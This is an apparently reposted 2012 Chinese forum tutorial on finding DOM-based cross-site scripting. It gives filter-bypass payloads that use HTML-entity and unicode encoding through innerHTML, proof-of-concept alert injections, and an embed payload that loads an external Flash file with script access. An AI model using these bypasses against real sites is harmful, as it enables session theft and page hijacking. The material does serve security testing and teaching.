圣马丁 發表於 2012-6-18 09:26:22

关于DOM xss跨站的一点点经验之谈

Xss的危害各位小牛 大牛们都意识到了Xss开始的csrf和挂马 到盗cookies和ajax 到xssshell 还有各种利用.... <br />我们一般找到的都是大多数都停留在找直接输入输出上,这类型的一般很容易被过滤。 <br />隐蔽型的就是DOM xss了. <br />也就是不是直接输出的,&nbsp;<br />&nbsp;<img width="600" alt="" src="https://img.jbzj.com/file_images/article/201206/2012061809264720.jpg" /><br /><br />换句话话说,输出内容,在源代码里看不到. <br />比如你这里这个的话, 你右键,查看源代码的话 内容都是直接可以看到的这种就是直接 输入输出的 <br />这个就是直接输出类型 <br />对于查找DOM XSS的基本方法: <br />一般是这样的, 先发一个正常的内容, <br />然后F12打开调试工具(火狐Firebug插件); <br />定位到你发的内容上,调试工具里,有一个箭头,可以选择网页里指定的位置的. <br />然后看你发送的内容里 有没有什么隐藏的属性 或自定义属性 <br />哦 通常的情况是&lt;a href=&quot;xxx&quot; title=&quot;你输入的某句话&quot;&gt;xxxxxxx&lt;/a&gt; <br />而且,&ldquo;你输入的某句话&rdquo; ,你直接查看源代码是看不到的 <br />换句话说, &lt;a href=&quot;xxx&quot; title=&quot;你输入的某句话&quot;&gt;xxxxxxx&lt;/a&gt; 这个 是被动态产生的 <br />这个时候,就有潜在的问题来了。 如果 &ldquo;你输入的某句话&rdquo; 写为xxxxxxxxx&quot;&gt;&lt;img&gt;&lt;&quot; <br />会变成&lt;a href=&quot;xxx&quot; title=&quot;xxxxxxxxx&quot;&gt;&lt;img&gt;&lt;&quot;&quot;&gt;xxxxxxx&lt;/a&gt; <br />就会插入一个HTML标签进去了 <br />但是 实际情况下,&quot; , &gt; 都是被过滤的(到了这里一般的黑友会说转义了过滤了啊没得突破了-_-我曾经也是这样) <br />你输入的某句话 写为 <br />xxxxxxxxx&amp;quot;&amp;gt;&amp;lt;img&amp;gt;&amp;lt;&amp;quot; <br />由于是动态产生的 最后&amp;quot; 会自动变为&quot; 大家觉得很奇怪吧等下解释 <br />&amp;gt;---&gt; &gt; <br />&amp;lt; ----&gt; &lt;所以最后效果还是&lt;a href=&quot;xxx&quot; title=&quot;xxxxxxxxx&quot;&gt;&lt;img&gt;&lt;&quot;&quot;&gt;xxxxxxx&lt;/a&gt; (而且很多程序员,没有过滤&amp; ) <br />下面我们本地测试下 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode4"> <br />&lt;div id="m"&gt;x&lt;/div&gt; <br />&lt;script&gt; <br />var x="内容"; <br />document.getElementById("m").innerHTML=x; <br />&lt;/script&gt; <br /></div><br />内容就是我们输入的内容如&lt;script&gt; &lt;iframe&gt;各种标签= =,这些在一般网站输入都被过滤了的 对&lt; ' &quot;&gt;等等各种转义了的话,我们突破就很难. <br />测试一下 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5"> <br />&lt;script&gt; <br />function test(n){ <br />alert(n);} <br />&lt;/script&gt; www.jb51.net <br />&lt;img src="1" onerror="test('gainover')"&gt;&lt;/img&gt; <br />&lt;img src="1" onerror="test('gainover&amp;#x27);+function(){alert(/xx/)}()//')"&gt;&lt;/img&gt;&amp;#x27 <br /></div><br />一个编码列子再给大家写个列子 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode6"> <br />&lt;div id="y"&gt;&lt;/div&gt; <br />&lt;img id="x" class="audio" src="xxxx" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf&amp;quot;&gt;&lt;embed src=&amp;quot;http://xsst.sinaapp.com/Xss.swf&amp;quot;type=&amp;quot;application/x-shockwave-flash&amp;quot;allowscriptaccess=&amp;quot;always&amp;quot;&gt;&lt;#.mp3"&gt;&lt;/p&gt; &lt;script&gt; <br />document.getElementById("y").innerHTML=document.getElementById("x").alt; <br />&lt;/script&gt;xxx.innerHTML= yyy. <br /></div><br />某个属性- -成功编码绕过(&quot;=&amp;quot=&amp;#39;)编码问题不是我开发的别问我了-_-~! <br />我们还可以这样来测试下 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode7"> <br />&lt;div id="m"&gt;x&lt;/div&gt; <br />&lt;script&gt; <br />var x="\u003ciframe onload=alert(1)\u003e"; <br />document.getElementById("m").innerHTML=x; <br />&lt;/script&gt; <br /></div><br />Unicode字符列表:http://zh.wikipedia.org/wiki/Unicode%E5%AD%97%E7%AC%A6%E5%88%97%E8%A1%A8 <br />Xss安全测试字符转换工具:http://app.baidu.com/app/enter?appid=280383 <br />作者 90sec
頁: [1]
查看完整版本: 关于DOM xss跨站的一点点经验之谈